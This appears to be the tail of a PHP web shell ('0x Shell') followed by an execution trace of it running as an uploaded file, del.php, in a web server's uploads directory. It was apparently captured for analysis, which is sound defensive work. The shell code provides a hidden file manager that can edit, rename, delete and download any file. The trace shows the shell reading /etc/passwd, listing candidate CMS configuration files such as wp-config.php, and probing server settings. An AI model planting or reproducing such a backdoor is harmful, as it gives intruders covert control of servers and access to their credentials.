            if ($size > 1024) {
                $size = round($size / 1024, 2) . 'MB';
            } else {
                $size .= 'KB';
            }
            if (!is_file("{$dir}/{$file}")) {
                continue;
            }
            echo "<tr class='filetr'>";
            echo "<td class='td_home'>\r\n\r\n\r\n\r\n\t\t\t<a id=\"" . clearspace($file) . "_link\" href='?act=view&dir={$dir}&file={$dir}/{$file}'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='>  {$file}</a>\r\n\r\n\t<form method=\"post\" id=\"" . clearspace($file) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">\r\n\t\t<input type=\"hidden\" name=\"oldname\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" />\r\n\t\t<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"rename\" value=\"" . $file . "\" />\r\n\t\t<input type=\"submit\" name=\"do_rename\" value=\"rename\" />\r\n\t\t<input class=\"inputzbut\" type=\"button\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_form','" . clearspace($file) . "_link');\" />\r\n\t</form>\r\n\r\n\r\n\r\n\t\t\t";
            echo "<td class='td_home'><center>{$ftype}</center></td>";
            echo "<td class='td_home'><center>{$size}</center></td>";
            echo "<td class='td_home'><center>" . w("{$dir}/{$file}", permissions("{$dir}/{$file}")) . "</center></td>";
            echo "<td class='td_home'>{$ftime}</td>";
            echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir={$dir}&file={$dir}/{$file}'>edit</a> | <a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\">rename</a> | <a href='?act=delete&dir={$dir}&file={$dir}/{$file}'>delete</a> | <a href='?act=download&dir={$dir}&file={$dir}/{$file}'>download</a></td>";
        }
        echo "</tr></table>";
    } else {
        echo "<font color=red>can't open directory</font>";
    }
    ?></table>
				<div style="background:#282828;border-bottom-right-radius:4px;-moz-border-bottom-right-radius:4px;-webkit-border-bottom-right-radius:4px;border-bottom-left-radius:4px;-moz-border-bottom-left-radius:4px;-webkit-border-bottom-left-radius:4px;height:25px;margin:0px 0px 10px 0px;width:1000px;">
					<center>
						Copyright © 2017 - 0x1999 </div>

				<?php 
}
@ob_flush();
?>

				</body>

	</html>

Execution traces

data/traces/d23fb21a4944d44d199f04304051a2db_trace-1676254571.7355.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:16:37.633388]
1	0	1	0.000180	393512
1	3	0	0.003364	943648	{main}	1		/var/www/html/uploads/del.php	0	0
2	4	0	0.003408	943648	strpos	0		/var/www/html/uploads/del.php	8	2	'python-requests/2.25.1'	'Google'
2	4	1	0.003434	943720
2	4	R			FALSE
1		A						/var/www/html/uploads/del.php	13	$shell_name = '0x Shell'
1		A						/var/www/html/uploads/del.php	14	$shell_slogan = 'The Next JanCox Shell'
1		A						/var/www/html/uploads/del.php	15	$shell_version = '1.1'
1		A						/var/www/html/uploads/del.php	16	$shell_bypass_security = '0'
1		A						/var/www/html/uploads/del.php	17	$show_error = '0'
2	5	0	0.003528	943648	session_start	0		/var/www/html/uploads/del.php	19	0
2	5	1	0.003619	944400
2	5	R			TRUE
2	6	0	0.003643	944400	ini_set	0		/var/www/html/uploads/del.php	20	2	'max_execution_time'	0
2	6	1	0.003666	944504
2	6	R			'30'
2	7	0	0.003685	944400	ini_set	0		/var/www/html/uploads/del.php	21	2	'output_buffering'	0
2	7	1	0.003704	944472
2	7	R			FALSE
2	8	0	0.003722	944400	set_time_limit	0		/var/www/html/uploads/del.php	24	1	0
2	8	1	0.003740	944464
2	8	R			FALSE
2	9	0	0.003759	944432	error_reporting	0		/var/www/html/uploads/del.php	31	1	0
2	9	1	0.003776	944472
2	9	R			0
2	10	0	0.003793	944432	error_log	0		/var/www/html/uploads/del.php	32	1	0
2	10	1	0.003827	944464
2	10	R			TRUE
2	11	0	0.003845	944432	ini_set	0		/var/www/html/uploads/del.php	33	2	'error_log'	NULL
2	11	1	0.003864	944504
2	11	R			''
2	12	0	0.003881	944432	ini_set	0		/var/www/html/uploads/del.php	34	2	'log_errors'	0
2	12	1	0.003900	944504
2	12	R			'1'
2	13	0	0.003918	944432	ini_set	0		/var/www/html/uploads/del.php	35	2	'display_errors'	0
2	13	1	0.003937	944504
2	13	R			''
2	14	0	0.003954	944432	function_exists	0		/var/www/html/uploads/del.php	42	1	'posix_getegid'
2	14	1	0.003972	944472
2	14	R			TRUE
2	15	0	0.003990	944432	posix_geteuid	0		/var/www/html/uploads/del.php	48	0
2	15	1	0.004008	944432
2	15	R			33
2	16	0	0.004026	944432	posix_getpwuid	0		/var/www/html/uploads/del.php	48	1	33
2	16	1	0.004069	945264
2	16	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
1		A						/var/www/html/uploads/del.php	48	$uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
2	17	0	0.004128	945232	posix_getegid	0		/var/www/html/uploads/del.php	49	0
2	17	1	0.004144	945232
2	17	R			33
2	18	0	0.004161	945232	posix_getgrgid	0		/var/www/html/uploads/del.php	49	1	33
2	18	1	0.004200	945896
2	18	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
1		A						/var/www/html/uploads/del.php	49	$gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
1		A						/var/www/html/uploads/del.php	50	$user = 'www-data'
1		A						/var/www/html/uploads/del.php	51	$uid = 33
1		A						/var/www/html/uploads/del.php	52	$group = 'www-data'
1		A						/var/www/html/uploads/del.php	53	$gid = 33
2	19	0	0.004305	944568	is_dir	0		/var/www/html/uploads/del.php	55	1	'/home/www-data/public_html/'
2	19	1	0.004330	944608
2	19	R			FALSE
2	20	0	0.004350	944512	is_dir	0		/var/www/html/uploads/del.php	57	1	'/var/www/vhosts/'
2	20	1	0.004369	944552
2	20	R			FALSE
1		A						/var/www/html/uploads/del.php	60	$server_type = 'unknown'
1		A						/var/www/html/uploads/del.php	66	$ext = [0 => 'v1', 1 => 'v2', 2 => 'v3', 3 => 'wp', 4 => 'WP', 5 => 'blog', 6 => 'client', 7 => 'clients', 8 => 'forum', 9 => 'forums', 10 => 'home', 11 => 'new', 12 => 'old', 13 => 'site', 14 => 'portal', 15 => 'test', 16 => 'demo', 17 => 'wordpress', 18 => 'joomla', 19 => 'beta', 20 => 'news', 21 => 'main', 22 => 'shop', 23 => 'mage', 24 => 'magento', 25 => 'sites', 26 => 'cms', 27 => 'secure', 28 => 'support', 29 => 'panel', 30 => 'public']
1		A						/var/www/html/uploads/del.php	68	$configtype = ['/wp-config.php' => 'Wordpress', '/config/koneksi.php' => 'Lokomedia', '/forum/config.php' => 'phpBB', '/sites/default/settings.php' => 'Drupal', '/config/settings.inc.php' => 'PrestaShop', '/app/etc/local.xml' => 'Magento', '/admin/config.php' => 'OpenCart', '/application/config/database.php' => 'Ellislab', '/configuration.php' => 'Joomla', '/submitticket.php' => 'WHMCS', '/config.php' => 'OtherConfig', '/db.php' => 'DB', '/db.inc.php' => 'DBInc', '/database.php' => 'Database', '/includes/config.php' => 'Vbulletin', '/db/config.php' => 'DBConfig']
2	21	0	0.004488	944512	getcwd	0		/var/www/html/uploads/del.php	105	0
2	21	1	0.004520	944560
2	21	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/del.php	105	$dir = '/var/www/html/uploads'
1		A						/var/www/html/uploads/del.php	114	$actx = ''
1		A						/var/www/html/uploads/del.php	357	$ling = 'http://localhost/uploads/del.php?create'
2	22	0	0.004600	944736	str_replace	0		/var/www/html/uploads/del.php	358	3	'\\'	'/'	'/var/www/html/uploads'
2	22	1	0.004621	944832
2	22	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/del.php	358	$dir = '/var/www/html/uploads'
2	23	0	0.004655	944736	explode	0		/var/www/html/uploads/del.php	359	2	'/'	'/var/www/html/uploads'
2	23	1	0.004673	945312
2	23	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/del.php	359	$scdir = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
2	24	0	0.004717	945240	ini_get	0		/var/www/html/uploads/del.php	360	1	'disable_functions'
2	24	1	0.004736	945720
2	24	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/del.php	360	$ds = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/del.php	361	$show_ds = '<input type=\'text\' name=\'searchterm\' size=\'30\'style=\'background-color: rgb(41, 41, 41);border: 1px solid rgb(41, 41, 41);height: 12px;color: red;width: 385px;\'value=\'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_get'
2	25	0	0.004834	946328	file_get_contents	0		/var/www/html/uploads/del.php	615	1	'/etc/passwd'
2	25	1	0.004875	949552
2	25	R			'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:'
1		A						/var/www/html/uploads/del.php	615	$etcpasswd = 'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:'
2	26	0	0.004954	949512	file	0		/var/www/html/uploads/del.php	625	1	'/etc/trueuserowners'
2	26	1	0.004985	949552
2	26	R			FALSE
1		A						/var/www/html/uploads/del.php	625	$own = FALSE
1		A						/var/www/html/uploads/del.php	644	$trueowner = '<font color=red>error</font>'
1		A						/var/www/html/uploads/del.php	650	$trueuser = '<font color=red>error</font>'
1		A						/var/www/html/uploads/del.php	653	$sport = '80'
2	27	0	0.005069	949512	file	0		/var/www/html/uploads/del.php	654	1	'/etc/named.conf'
2	27	1	0.005096	949552
2	27	R			FALSE
1		A						/var/www/html/uploads/del.php	654	$d0mains = FALSE
1		A						/var/www/html/uploads/del.php	655	$users = 'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:'
1		A						/var/www/html/uploads/del.php	670	$count2 = '??'
2	28	0	0.005178	949512	strtolower	0		/var/www/html/uploads/del.php	672	1	'safe_mode'
2	28	1	0.005196	949544
2	28	R			'safe_mode'
2	29	0	0.005215	949512	ini_get	0		/var/www/html/uploads/del.php	672	1	'safe_mode'
2	29	1	0.005232	949544
2	29	R			FALSE
1		A						/var/www/html/uploads/del.php	672	$sm = '<font color=lime>OFF</font>'
2	30	0	0.005266	949512	php_uname	0		/var/www/html/uploads/del.php	684	0
2	30	1	0.005283	949624
2	30	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2	31	0	0.005313	949512	gethostbyname	0		/var/www/html/uploads/del.php	710	1	'localhost'
2	31	1	0.005359	949592
2	31	R			'127.0.0.1'
2	32	0	0.005381	949704	gethostbyname	0		/var/www/html/uploads/del.php	710	1	'localhost'
2	32	1	0.005415	949784
2	32	R			'127.0.0.1'
2	33	0	0.005436	949832	gethostbyname	0		/var/www/html/uploads/del.php	710	1	'localhost'
2	33	1	0.005469	949912
2	33	R			'127.0.0.1'
1		A						/var/www/html/uploads/del.php	736	$c_dir = 0
1		A						/var/www/html/uploads/del.php	738	$i = 0
1		A						/var/www/html/uploads/del.php	738	$i++
1		A						/var/www/html/uploads/del.php	736	$c_dir = 1
1		A						/var/www/html/uploads/del.php	738	$i = 0
1		A						/var/www/html/uploads/del.php	738	$i++
1		A						/var/www/html/uploads/del.php	738	$i++
1		A						/var/www/html/uploads/del.php	736	$c_dir = 2
1		A						/var/www/html/uploads/del.php	738	$i = 0
1		A						/var/www/html/uploads/del.php	738	$i++
1		A						/var/www/html/uploads/del.php	738	$i++
1		A						/var/www/html/uploads/del.php	738	$i++
1		A						/var/www/html/uploads/del.php	736	$c_dir = 3
1		A						/var/www/html/uploads/del.php	738	$i = 0
1		A						/var/www/html/uploads/del.php	738	$i++
1		A						/var/www/html/uploads/del.php	738	$i++
1		A						/var/www/html/uploads/del.php	738	$i++
1		A						/var/www/html/uploads/del.php	738	$i++
1		A						/var/www/html/uploads/del.php	736	$c_dir = 4
1		A						/var/www/html/uploads/del.php	738	$i = 0
1		A						/var/www/html/uploads/del.php	738	$i++
1		A						/var/www/html/uploads/del.php	738	$i++
1		A						/var/www/html/uploads/del.php	738	$i++
1		A						/var/www/html/uploads/del.php	738	$i++
1		A						/var/www/html/uploads/del.php	738	$i++
2	34	0	0.005888	949512	is_dir	0		/var/www/html/uploads/del.php	2307	1	'/var/www/html/uploads'
2	34	1	0.005907	949576
2	34	R			TRUE
2	35	0	0.005921	949536	scandir	0		/var/www/html/uploads/del.php	2309	1	'/var/www/html/uploads'
2	35	1	0.005953	950152
2	35	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'del.php', 5 => 'prepend.php']
1		A						/var/www/html/uploads/del.php	2309	$scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'del.php', 5 => 'prepend.php']
2	36	0	0.005991	950168	filetype	0		/var/www/html/uploads/del.php	2311	1	'/var/www/html/uploads/.'
2	36	1	0.006006	950264
2	36	R			'dir'
1		A						/var/www/html/uploads/del.php	2311	$dtype = 'dir'
2	37	0	0.006031	950224	filemtime	0		/var/www/html/uploads/del.php	2312	1	'/var/www/html/uploads/.'
2	37	1	0.006046	950264
2	37	R			1676254571
2	38	0	0.006059	950176	date	0		/var/www/html/uploads/del.php	2312	2	'F d Y g:i:s'	1676254571
2	38	1	0.006120	952568
2	38	R			'February 12 2023 9:16:11'
1		A						/var/www/html/uploads/del.php	2312	$dtime = 'February 12 2023 9:16:11'
2	39	0	0.006151	952544	is_dir	0		/var/www/html/uploads/del.php	2313	1	'/var/www/html/uploads/.'
2	39	1	0.006164	952584
2	39	R			TRUE
1		A						/var/www/html/uploads/del.php	2320	$href = '/var/www/html/uploads'
1		A						/var/www/html/uploads/del.php	2327	$act_dir = '<span id="titik1">\r\n\t\t\t<a href=\'?act=edit&dir=/var/www/html/uploads&file=/var/www/html/uploads/newfile.php\'>newfile</a> | <a href="javascript:tukar(\'titik1\',\'titik1_form\');">newfolder</a></span>\r\n\t\t\t<form action="?act=newfolder&dir=/var/www/html/uploads" method="post" id="titik1_form" class="sembunyi" style="margin:0;padding:0;">\r\n\r\n\t\t\t<input class="inputz" style="width:130px;" type="text" name="newfolder" placeholder="new_folder" />\r\n\t\t\t<input class="inputzbut" type="submit" nam'
2	40	0	0.006215	953136	clearspace	1		/var/www/html/uploads/del.php	2343	1	'.'
3	41	0	0.006228	953136	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'.'
3	41	1	0.006242	953232
3	41	R			'.'
2	40	1	0.006255	953136
2	40	R			'.'
2	42	0	0.006269	954032	clearspace	1		/var/www/html/uploads/del.php	2347	1	'.'
3	43	0	0.006281	954032	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'.'
3	43	1	0.006302	954128
3	43	R			'.'
2	42	1	0.006315	954032
2	42	R			'.'
2	44	0	0.006329	954416	clearspace	1		/var/www/html/uploads/del.php	2351	1	'.'
3	45	0	0.006341	954416	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'.'
3	45	1	0.006353	954512
3	45	R			'.'
2	44	1	0.006366	954416
2	44	R			'.'
2	46	0	0.006378	954416	clearspace	1		/var/www/html/uploads/del.php	2351	1	'.'
3	47	0	0.006390	954416	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'.'
3	47	1	0.006403	954512
3	47	R			'.'
2	46	1	0.006416	954416
2	46	R			'.'
2	48	0	0.006430	953232	permissions	1		/var/www/html/uploads/del.php	2364	1	'/var/www/html/uploads/.'
3	49	0	0.006443	953232	fileperms	0		/var/www/html/uploads/del.php	399	1	'/var/www/html/uploads/.'
3	49	1	0.006456	953272
3	49	R			16895
2		A						/var/www/html/uploads/del.php	399	$perms = 16895
2		A						/var/www/html/uploads/del.php	409	$info = 'd'
2		A						/var/www/html/uploads/del.php	417	$info .= 'r'
2		A						/var/www/html/uploads/del.php	418	$info .= 'w'
2		A						/var/www/html/uploads/del.php	421	$info .= 'x'
2		A						/var/www/html/uploads/del.php	422	$info .= 'r'
2		A						/var/www/html/uploads/del.php	423	$info .= 'w'
2		A						/var/www/html/uploads/del.php	426	$info .= 'x'
2		A						/var/www/html/uploads/del.php	427	$info .= 'r'
2		A						/var/www/html/uploads/del.php	428	$info .= 'w'
2		A						/var/www/html/uploads/del.php	431	$info .= 'x'
2	48	1	0.006628	953272
2	48	R			'drwxrwxrwx'
2	50	0	0.006643	953224	w	1		/var/www/html/uploads/del.php	2364	2	'/var/www/html/uploads/.'	'drwxrwxrwx'
3	51	0	0.006657	953224	is_writable	0		/var/www/html/uploads/del.php	531	1	'/var/www/html/uploads/.'
3	51	1	0.006677	953264
3	51	R			TRUE
2	50	1	0.006691	953288
2	50	R			'<font color=lime>drwxrwxrwx</font>'
2	52	0	0.006708	953192	filetype	0		/var/www/html/uploads/del.php	2311	1	'/var/www/html/uploads/..'
2	52	1	0.006724	953272
2	52	R			'dir'
1		A						/var/www/html/uploads/del.php	2311	$dtype = 'dir'
2	53	0	0.006748	953200	filemtime	0		/var/www/html/uploads/del.php	2312	1	'/var/www/html/uploads/..'
2	53	1	0.006762	953248
2	53	R			1676254571
2	54	0	0.006776	953152	date	0		/var/www/html/uploads/del.php	2312	2	'F d Y g:i:s'	1676254571
2	54	1	0.006807	953480
2	54	R			'February 12 2023 9:16:11'
1		A						/var/www/html/uploads/del.php	2312	$dtime = 'February 12 2023 9:16:11'
2	55	0	0.006834	953208	is_dir	0		/var/www/html/uploads/del.php	2313	1	'/var/www/html/uploads/..'
2	55	1	0.006847	953248
2	55	R			TRUE
2	56	0	0.006860	953152	dirname	0		/var/www/html/uploads/del.php	2318	1	'/var/www/html/uploads'
2	56	1	0.006873	953232
2	56	R			'/var/www/html'
1		A						/var/www/html/uploads/del.php	2318	$href = '/var/www/html'
1		A						/var/www/html/uploads/del.php	2334	$act_dir = '<span id="titik2"><a href=\'?act=edit&dir=/var/www/html/uploads&file=/var/www/html/uploads/newfile.php\'>newfile</a> | <a href="javascript:tukar(\'titik2\',\'titik2_form\');">newfolder</a></span>\r\n\t\t\t<form action="?act=newfolder&dir=/var/www/html/uploads" method="post" id="titik2_form" class="sembunyi" style="margin:0;padding:0;">\r\n\r\n\t\t\t<input class="inputz" style="width:130px;" type="text" name="newfolder" placeholder="new_folder" />\r\n\t\t\t<input class="inputzbut" type="submit" name="new_sav'
2	57	0	0.006923	953200	clearspace	1		/var/www/html/uploads/del.php	2343	1	'..'
3	58	0	0.006935	953200	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'..'
3	58	1	0.006949	953296
3	58	R			'..'
2	57	1	0.006962	953200
2	57	R			'..'
2	59	0	0.006975	954096	clearspace	1		/var/www/html/uploads/del.php	2347	1	'..'
3	60	0	0.006987	954096	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'..'
3	60	1	0.007001	954192
3	60	R			'..'
2	59	1	0.007013	954096
2	59	R			'..'
2	61	0	0.007026	954480	clearspace	1		/var/www/html/uploads/del.php	2351	1	'..'
3	62	0	0.007038	954480	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'..'
3	62	1	0.007051	954576
3	62	R			'..'
2	61	1	0.007063	954480
2	61	R			'..'
2	63	0	0.007075	954480	clearspace	1		/var/www/html/uploads/del.php	2351	1	'..'
3	64	0	0.007087	954480	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'..'
3	64	1	0.007100	954576
3	64	R			'..'
2	63	1	0.007112	954480
2	63	R			'..'
2	65	0	0.007127	953312	permissions	1		/var/www/html/uploads/del.php	2364	1	'/var/www/html/uploads/..'
3	66	0	0.007140	953312	fileperms	0		/var/www/html/uploads/del.php	399	1	'/var/www/html/uploads/..'
3	66	1	0.007152	953352
3	66	R			16895
2		A						/var/www/html/uploads/del.php	399	$perms = 16895
2		A						/var/www/html/uploads/del.php	409	$info = 'd'
2		A						/var/www/html/uploads/del.php	417	$info .= 'r'
2		A						/var/www/html/uploads/del.php	418	$info .= 'w'
2		A						/var/www/html/uploads/del.php	421	$info .= 'x'
2		A						/var/www/html/uploads/del.php	422	$info .= 'r'
2		A						/var/www/html/uploads/del.php	423	$info .= 'w'
2		A						/var/www/html/uploads/del.php	426	$info .= 'x'
2		A						/var/www/html/uploads/del.php	427	$info .= 'r'
2		A						/var/www/html/uploads/del.php	428	$info .= 'w'
2		A						/var/www/html/uploads/del.php	431	$info .= 'x'
2	65	1	0.007277	953352
2	65	R			'drwxrwxrwx'
2	67	0	0.007291	953296	w	1		/var/www/html/uploads/del.php	2364	2	'/var/www/html/uploads/..'	'drwxrwxrwx'
3	68	0	0.007304	953296	is_writable	0		/var/www/html/uploads/del.php	531	1	'/var/www/html/uploads/..'
3	68	1	0.007320	953336
3	68	R			TRUE
2	67	1	0.007334	953360
2	67	R			'<font color=lime>drwxrwxrwx</font>'
2	69	0	0.007351	953256	filetype	0		/var/www/html/uploads/del.php	2311	1	'/var/www/html/uploads/.htaccess'
2	69	1	0.007366	953328
2	69	R			'file'
1		A						/var/www/html/uploads/del.php	2311	$dtype = 'file'
2	70	0	0.007390	953256	filemtime	0		/var/www/html/uploads/del.php	2312	1	'/var/www/html/uploads/.htaccess'
2	70	1	0.007405	953296
2	70	R			1676254571
2	71	0	0.007418	953200	date	0		/var/www/html/uploads/del.php	2312	2	'F d Y g:i:s'	1676254571
2	71	1	0.007449	953528
2	71	R			'February 12 2023 9:16:11'
1		A						/var/www/html/uploads/del.php	2312	$dtime = 'February 12 2023 9:16:11'
2	72	0	0.007475	953256	is_dir	0		/var/www/html/uploads/del.php	2313	1	'/var/www/html/uploads/.htaccess'
2	72	1	0.007488	953296
2	72	R			FALSE
2	73	0	0.007502	953256	filetype	0		/var/www/html/uploads/del.php	2311	1	'/var/www/html/uploads/data'
2	73	1	0.007516	953328
2	73	R			'dir'
1		A						/var/www/html/uploads/del.php	2311	$dtype = 'dir'
2	74	0	0.007539	953256	filemtime	0		/var/www/html/uploads/del.php	2312	1	'/var/www/html/uploads/data'
2	74	1	0.007553	953296
2	74	R			1676254571
2	75	0	0.007566	953200	date	0		/var/www/html/uploads/del.php	2312	2	'F d Y g:i:s'	1676254571
2	75	1	0.007596	953528
2	75	R			'February 12 2023 9:16:11'
1		A						/var/www/html/uploads/del.php	2312	$dtime = 'February 12 2023 9:16:11'
2	76	0	0.007622	953256	is_dir	0		/var/www/html/uploads/del.php	2313	1	'/var/www/html/uploads/data'
2	76	1	0.007635	953296
2	76	R			TRUE
1		A						/var/www/html/uploads/del.php	2322	$href = '/var/www/html/uploads/data'
2	77	0	0.007658	953208	clearspace	1		/var/www/html/uploads/del.php	2340	1	'data'
3	78	0	0.007671	953208	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'data'
3	78	1	0.007684	953304
3	78	R			'data'
2	77	1	0.007697	953208
2	77	R			'data'
2	79	0	0.007710	953272	clearspace	1		/var/www/html/uploads/del.php	2340	1	'data'
3	80	0	0.007722	953272	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'data'
3	80	1	0.007735	953368
3	80	R			'data'
2	79	1	0.007748	953272
2	79	R			'data'
1		A						/var/www/html/uploads/del.php	2340	$act_dir = '<a href="javascript:tukar(\'data_link\',\'data_form\');">rename</a> | <a href=\'?act=delete_dir&dir=/var/www/html/uploads/data\'>delete</a>'
2	81	0	0.007779	952728	clearspace	1		/var/www/html/uploads/del.php	2343	1	'data'
3	82	0	0.007791	952728	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'data'
3	82	1	0.007803	952824
3	82	R			'data'
2	81	1	0.007816	952728
2	81	R			'data'
2	83	0	0.007829	953624	clearspace	1		/var/www/html/uploads/del.php	2347	1	'data'
3	84	0	0.007841	953624	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'data'
3	84	1	0.007854	953720
3	84	R			'data'
2	83	1	0.007867	953624
2	83	R			'data'
2	85	0	0.007879	954008	clearspace	1		/var/www/html/uploads/del.php	2351	1	'data'
3	86	0	0.007890	954008	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'data'
3	86	1	0.007903	954104
3	86	R			'data'
2	85	1	0.007916	954008
2	85	R			'data'
2	87	0	0.007928	954008	clearspace	1		/var/www/html/uploads/del.php	2351	1	'data'
3	88	0	0.007940	954008	str_replace	0		/var/www/html/uploads/del.php	474	3	' '	'_'	'data'
3	88	1	0.007952	954104
3	88	R			'data'
2	87	1	0.007965	954008
2	87	R			'data'
2	89	0	0.007978	952840	permissions	1		/var/www/html/uploads/del.php	2364	1	'/var/www/html/uploads/data'
